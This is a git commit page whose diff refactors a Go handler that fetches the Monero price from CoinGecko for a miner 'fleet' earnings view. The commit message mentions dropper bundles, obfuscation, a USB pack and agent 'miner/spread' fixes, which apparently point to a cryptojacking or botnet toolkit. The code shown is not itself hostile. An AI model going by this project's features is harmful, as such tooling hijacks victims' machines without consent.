fix: 2026-06-04 audit pass — README, USB pack, multi-area fixes

WS ticket dashboard auth, builder universal signing/size limits/fusion obfuscation/dropper bundles, Path Tracer WireGuard topology, SessionGate degraded mode and download timeouts, server bootstrap (data dir, cloudflared dedupe, config port precedence), agent mesh/miner/spread fixes. README refreshed; usb bundle repacked; PROBLEMS.md audit log updated.
This commit is contained in:
AetherForge
2026-06-04 20:41:44 -07:00
parent 6bfce5d5ab
commit 8466c7aa9b
101 changed files with 3369 additions and 1054 deletions

View File

@@ -155,21 +155,16 @@ func (f *FleetHandler) GetXMRPrice(w http.ResponseWriter, r *http.Request) {
}
f.xmrPriceMu.Unlock()
client := &http.Client{Timeout: 8 * time.Second}
resp, err := client.Get("https://api.coingecko.com/api/v3/simple/price?ids=monero&vs_currencies=usd") //nolint:gosec
usd, err := fetchCoinGeckoXMRPrice()
if err != nil {
http.Error(w, "price fetch failed: "+err.Error(), http.StatusServiceUnavailable)
status := http.StatusServiceUnavailable
msg := err.Error()
if strings.Contains(msg, "status") || strings.Contains(msg, "parse") {
status = http.StatusBadGateway
}
http.Error(w, "price fetch failed: "+msg, status)
return
}
defer resp.Body.Close()
body, _ := io.ReadAll(io.LimitReader(resp.Body, 4096))
var raw map[string]map[string]float64
if err := json.Unmarshal(body, &raw); err != nil || raw["monero"] == nil {
http.Error(w, "price parse failed", http.StatusBadGateway)
return
}
usd := raw["monero"]["usd"]
entry := &xmrPriceEntry{USD: usd, fetchedAt: time.Now()}
f.xmrPriceMu.Lock()
@@ -183,6 +178,41 @@ func (f *FleetHandler) GetXMRPrice(w http.ResponseWriter, r *http.Request) {
})
}
const coingeckoXMRURL = "https://api.coingecko.com/api/v3/simple/price?ids=monero&vs_currencies=usd"
func fetchCoinGeckoXMRPrice() (float64, error) {
client := &http.Client{Timeout: 8 * time.Second}
var lastErr error
for attempt := 0; attempt < 3; attempt++ {
if attempt > 0 {
time.Sleep(time.Duration(attempt) * 400 * time.Millisecond)
}
resp, err := client.Get(coingeckoXMRURL) //nolint:gosec
if err != nil {
lastErr = err
continue
}
body, _ := io.ReadAll(io.LimitReader(resp.Body, 4096))
resp.Body.Close()
if resp.StatusCode == http.StatusTooManyRequests || resp.StatusCode >= 500 {
lastErr = fmt.Errorf("coingecko status %d", resp.StatusCode)
continue
}
if resp.StatusCode != http.StatusOK {
return 0, fmt.Errorf("coingecko status %d", resp.StatusCode)
}
var raw map[string]map[string]float64
if err := json.Unmarshal(body, &raw); err != nil || raw["monero"] == nil {
return 0, fmt.Errorf("price parse failed")
}
return raw["monero"]["usd"], nil
}
if lastErr != nil {
return 0, lastErr
}
return 0, fmt.Errorf("price fetch failed")
}
// GetEarningsEstimate — kept for backwards compat; delegates to GetEarnings.
func (f *FleetHandler) GetEarningsEstimate(w http.ResponseWriter, r *http.Request) {
f.GetEarnings(w, r)